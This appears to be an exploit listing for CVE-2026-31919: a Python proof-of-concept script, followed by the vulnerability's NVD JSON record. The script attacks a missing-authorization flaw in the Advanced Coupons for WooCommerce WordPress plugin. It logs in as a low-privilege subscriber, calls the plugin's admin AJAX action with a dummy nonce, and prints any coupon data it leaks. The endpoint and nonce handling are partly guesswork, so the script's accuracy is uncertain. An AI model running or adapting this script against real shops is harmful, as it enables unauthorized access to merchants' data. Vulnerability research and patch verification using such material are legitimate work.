CVE-2026-31919

import requests import sys # CVE-2026-31919 PoC - Missing Authorization in Advanced Coupons for WooCommerce # Target: WordPress site with advanced-coupons-for-woocommerce-free plugin <= 4.7.1 def check_vulnerability(target_url, username, password): """ Check if the target is vulnerable to CVE-2026-31919 """ session = requests.Session() # Step 1: Login with low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Logged in with low-privilege user") # Step 2: Try to access admin coupon management functionality # This endpoint should require admin privileges but doesn't check properly admin_coupon_url = f"{target_url}/wp-admin/admin.php?page=advanced-coupons" # Step 3: Try to create/modify coupons via AJAX API api_url = f"{target_url}/wp-admin/admin-ajax.php" # Example: Attempt to list all coupons (should require admin) list_coupons_data = { 'action': 'acfw_get_coupons', 'nonce': 'dummy', # May not be properly validated } api_response = session.post(api_url, data=list_coupons_data) # Step 4: Check if unauthorized access was successful if api_response.status_code == 200 and 'coupons' in api_response.text.lower(): print("[!] VULNERABLE: Low-privilege user can access coupon management") print(f"[*] Response: {api_response.text[:500]}") return True else: print("[-] Target may not be vulnerable or different endpoint required") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-31919-poc.py <target_url> <username> <password>") print("Example: python cve-2026-31919-poc.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

{"cve": {"id": "CVE-2026-31919", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:39.193", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Coupons for WooCommerce Coupons: from n/a through <= 4.7.1."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en Josh Kohlbach Advanced Coupons for WooCommerce Coupons advanced-coupons-for-woocommerce-free permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Advanced Coupons for WooCommerce Coupons: desde n/a hasta &lt;= 4.7.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-coupons-for-woocommerce-free/vulnerability/wordpress-advanced-coupons-for-woocommerce-coupons-plugin-4-7-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}